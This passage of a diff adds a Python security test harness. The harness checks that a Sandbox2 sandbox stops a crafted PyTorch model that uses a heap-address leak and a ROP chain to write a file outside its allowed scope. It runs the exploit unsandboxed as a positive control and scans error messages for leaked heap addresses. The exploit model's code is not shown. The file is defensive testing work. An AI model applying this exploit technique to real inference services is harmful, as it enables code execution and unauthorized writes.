result.info(f"sandbox2_launch signal confirms route: {actual_route}") + + pid = find_child_pid(controller, f'./{pytorch_name}', log_offset) + if pid is None: + result.fail( + "Could not discover pytorch_inference child PID from the controller's " + f"'Spawned ... with PID' log line within {PID_DISCOVERY_TIMEOUT}s of a " + "successful start response") + else: + result.info(f"Discovered child PID: {pid}") + + # Reached-marker step 1: the model survived --skipModelValidation + # load and reached ioLoop. Without this, "no target file" is + # indistinguishable from "crashed during model load", which is + # exactly defect 1's false-positive pattern. + model_loaded = tail_contains(log_file, 'model loaded', + time.time() + MODEL_LOAD_TIMEOUT) + if not model_loaded: + result.fail( + f"'model loaded' never observed on --logPipe within " + f"{MODEL_LOAD_TIMEOUT}s - cannot distinguish a Sandbox2 block " + f"from a load-time crash; not asserting on target file") + return result, reached, target_file_created, response, leaked_address_seen, pid + result.info("Reached marker (1/2): 'model loaded' observed on --logPipe") + + request = { + 'request_id': request_id, + 'tokens': [[1, 2, 3, 4, 5, 6, 7, 8, 9, 10]], + 'arg_1': [[1, 2, 3, 4, 5, 6, 7, 8, 9, 10]], + 'arg_2': [[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]], + 'arg_3': [[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]], + } + if not send_inference_request_with_timeout(pipes['input'], request, timeout=5): + result.fail("Failed to write inference request to input pipe") + return result, reached, target_file_created, response, leaked_address_seen, pid + result.info("Inference request written") + + # Reached-marker step 2: either a response correlated to our + # request_id (forward() ran to completion or raised a caught + # exception), or the child dying only after "model loaded" was + # already observed (forward() was interrupted mid-flight by + # Sandbox2 - a crash here is a legitimate block outcome, a crash + # before model load is not). + forward_response = None + deadline = time.time() + FORWARD_PASS_TIMEOUT + while time.time() < deadline: + for obj in _parse_json_objects(Path(output_file).read_text() + if Path(output_file).exists() else ''): + if isinstance(obj, dict) and obj.get('request_id') == request_id: + forward_response = obj + break + if forward_response is not None: + break + if pid is not None and not pid_alive(pid): + break + time.sleep(0.2) + + if forward_response is not None: + reached = True + result.info(f"Reached marker (2/2): correlated output response: {forward_response}") + error_obj = forward_response.get('error') if isinstance(forward_response, dict) else None + if isinstance(error_obj, dict): + message = error_obj.get('error', '') + if HEAP_ADDRESS_PATTERN.search(str(message)): + leaked_address_seen = True + elif pid is not None and not pid_alive(pid): + reached = True + result.info( + "Reached marker (2/2): child PID exited after 'model loaded' was " + "observed and the request was written - treated as forward() " + "having been interrupted mid-flight") + else: + result.fail( + f"Neither a correlated output response nor child death observed " + f"within {FORWARD_PASS_TIMEOUT}s after sending the request - " + f"inconclusive, not asserting on target file") + return result, reached, target_file_created, response, leaked_address_seen, pid + + target_file_created = os.path.exists(TARGET_FILE) + + finally: + output_reader.stop() + log_reader.stop() + output_reader.join(timeout=1) + log_reader.join(timeout=1) + for pipe_path in pipes.values(): + try: + if os.path.exists(pipe_path): + os.remove(pipe_path) + except OSError: + pass + + return result, reached, target_file_created, response, leaked_address_seen, pid + + +def cleanup_and_verify_reaped(controller, result, pid, base_command_id): + """Cleanup assertion (the fifth part of the evidence requirement): issue + kill(pid) via the controller until it reports failure (registry has no + such live child), + proving the case's child is fully reaped before the next case starts. + If the child is still alive, the first kill() should succeed (True) and + terminate it; the follow-up kill() must then report failure.""" + if pid is None: + result.fail("No PID discovered - cannot assert per-case cleanup/reap") + return + + first = controller.kill_pid(base_command_id, pid) + if first is not None and first.get('success') is True: + result.info(f"kill({pid}) succeeded - child was still live, now terminated") + elif first is not None and first.get('success') is False: + result.info(f"kill({pid}) already failed - child was already reaped (e.g. Sandbox2 killed it)") + else: + result.fail(f"No response to first kill({pid}) command") + return + + # Give the registry/process a moment to settle, then confirm reaped. + time.sleep(0.3) + second = controller.kill_pid(base_command_id + 1, pid) + if second is None: + result.fail(f"No response to confirmation kill({pid}) command") + return + if second.get('success') is not False: + result.fail( + f"Confirmation kill({pid}) reported success={second.get('success')!r}; " + f"expected failure (no live child) - child may still be running/leaked") + return + if pid_alive(pid): + result.fail(f"/proc/{pid} still exists after controller reported it reaped") + return + result.info(f"Cleanup assertion passed: pid {pid} confirmed reaped") + + +def test_benign_model(controller, pytorch_bin, model_path, tmp_base, command_id): + """Functional positive control: a model using only allowlisted ops must + run to completion under Sandbox2 and must not have its target write path + touched (it never attempts one).""" + print("\n" + "=" * 40) + print("Test 1: Benign model (Sandbox2 does not break legitimate use)") + print("=" * 40) + sys.stdout.flush() + + result, reached, target_file_created, response, _, pid = run_pytorch_case( + controller, pytorch_bin, model_path, tmp_base, command_id, + 'benign', unsandboxed=False, request_id='test_benign') + + if not result.ok: + return False + if not reached: + result.fail("Benign model never reached a response - infrastructure problem, not a security result") + return False + if target_file_created: + result.fail(f"Target file unexpectedly created by benign model: {TARGET_FILE}") + return False + + cleanup_and_verify_reaped(controller, result, pid, command_id + 10) + + if result.ok: + print("Benign model test passed") + return result.ok + + +def test_exploit_model(controller, pytorch_bin, model_path, tmp_base, command_id): + """Attack case: the model uses a heap-address leak (an intra-process + memory read Sandbox2 does not, and is not meant to, block - it is not a + syscall or filesystem boundary) to build a ROP chain that attempts to + write a file outside the sandboxed child's allowed scope. Sandbox2's + proof obligation is the write attempt, not the memory read; the + positive control below demonstrates the read+write chain actually + works when Sandbox2 is structurally absent, and the leak-address + pattern check documents (without asserting on) the memory-disclosure + half of the technique so the docstring stays honest about what is and + is not defended here. + + This folds the frozen script's separate 'leak model' case in here: that + case ran the identical target_file check as this one and asserted + nothing about address leakage, so it tested nothing this case doesn't + already test (see task-6 defect 3). + """ + print("\n" + "=" * 40) + print("Test 2: Exploit model (heap leak -> ROP chain -> file write)") + print("=" * 40) + sys.stdout.flush() + + if os.path.exists(TARGET_FILE): + os.remove(TARGET_FILE) + try: + os.makedirs(os.path.dirname(TARGET_FILE), exist_ok=True) + except PermissionError: + pass + + # Positive control: same model, same request, Sandbox2 structurally + # absent via the controller's own --disableSandbox kill switch. Without + # this, "target file absent" only proves the mitigated run behaved + # differently from nothing - it does not prove the mitigation stopped a + # payload that would otherwise have succeeded. + control_result, control_reached, control_target_created, _, control_leak_seen, control_pid = run_pytorch_case( + controller, pytorch_bin, model_path, tmp_base, command_id, + 'exploit', unsandboxed=True, request_id='test_exploit_control') + cleanup_and_verify_reaped(controller, control_result, control_pid, command_id + 20) + + if not control_result.ok or not control_reached: + control_result.fail( + "Positive control did not reach a verdict - cannot claim Sandbox2 " + "defended against anything this run") + return False + if not control_target_created: + control_result.fail( + f"Positive control did NOT create {TARGET_FILE} - the exploit " + f"technique itself is not demonstrated to work in this " + f"environment (stale ROP offsets, ASLR, or a libtorch version " + f"mismatch), so a subsequent sandboxed PASS would be meaningless") + return False + print(f"Positive control: exploit succeeded unsandboxed (target file created); " + f"leaked-address pattern observed: {control_leak_seen}") + if os.path.exists(TARGET_FILE): + os.remove(TARGET_FILE) + + # Mitigated run: same model, same request, through Sandbox2. + result, reached, target_file_created, _, _, pid = run_pytorch_case( + controller, pytorch_bin, model_path, tmp_base, command_id + 1, + 'exploit', unsandboxed=False, request_id='test_exploit') + cleanup_and_verify_reaped(controller, result, pid, command_id + 30) + + if not result.ok: + return False + if not reached: + result.fail("Sandboxed run never reached a verdict - inconclusive, not a pass") + return False + if target_file_created: + result.fail(f"FAIL: Target file was created under Sandbox2: {TARGET_FILE}") + return False + + print("Exploit model test passed (file write prevented under Sandbox2, " + "proven effective by the unsandboxed positive control)") + return True + + +def main(): + parser = argparse.ArgumentParser(description='Sandbox2 Attack Defense Test') + parser.add_argument('--test', choices=['1', '2', 'all'], default='all', + help='Which test to run: 1=benign, 2=exploit, all=all tests (default: all)') + args = parser.parse_args() + + print("=" * 40) + print("Sandbox2 Attack Defense Test") + print("=" * 40) + print() + + try: + controller_bin, pytorch_bin = find_binaries() + print(f"Using controller: {controller_bin}") + print(f"Using pytorch_inference: {pytorch_bin}") + except Exception as e: + print(f"ERROR: {e}", file=sys.stderr) + sys.exit(1) + + harness_root = Path(tempfile.mkdtemp(prefix='sandbox2_test_')) + # Separate controller/child roots: the controller's own command/output/ + # log/stdin FIFOs live in control_dir; every sandboxed child's IPC + # directory lives under child_tmp_base/ml-child-ipc/. Passing + # child_tmp_base as the controller's own TMPDIR is what makes + # validateChildIpcLaunchSpec() (and CProcessSpawnerRouter's + # emitLaunchSignal()) treat those per-child directories as trusted. + control_dir = harness_root / 'controller_control' + child_tmp_base = harness_root / 'child_tmp' + models_dir = harness_root / 'models' + control_dir.mkdir() + child_tmp_base.mkdir() + models_dir.mkdir() + # Canonicalize now: validateChildIpcLaunchSpec() compares canonical + # forms, and tempfile.mkdtemp() output can traverse a symlink (macOS + # /tmp -> /private/tmp; some Linux distros similarly alias /tmp). + child_tmp_base = Path(os.path.realpath(child_tmp_base)) + + print(f"Harness root: {harness_root}") + print(f"Child IPC TMPDIR: {child_tmp_base}") + + failed = False + controller = None + try: + print("\nGenerating models...") + generate_models(models_dir) + print("Models generated successfully") + + controller_dir = Path(controller_bin).parent + controller = ControllerProcess(controller_bin, control_dir, controller_dir, child_tmp_base) + print(f"Controller started (PID: {controller.process.pid})") + + if args.test in ('1', 'all'): + model_path = models_dir / 'model_benign.pt' + if not test_benign_model(controller, pytorch_bin, model_path, child_tmp_base, 1): + failed = True + + if args.test in ('2', 'all'): + model_path = models_dir / 'model_exploit.pt' + if not test_exploit_model(controller, pytorch_bin, model_path, child_tmp_base, 100): + failed = True + + print("\n" + "=" * 40) + if failed: + print("Some tests FAILED") + else: + print("All tests PASSED") + + except KeyboardInterrupt: + print("\nTest interrupted by user") + failed = True + except Exception as e: + print(f"\nERROR: {e}", file=sys.stderr) + import traceback + traceback.print_exc() + failed = True + finally: + if controller is not None: + controller.cleanup() + try: + shutil.rmtree(harness_root) + except OSError: + pass + + sys.exit(1 if failed else 0) + + +if __name__ == '__main__': + main()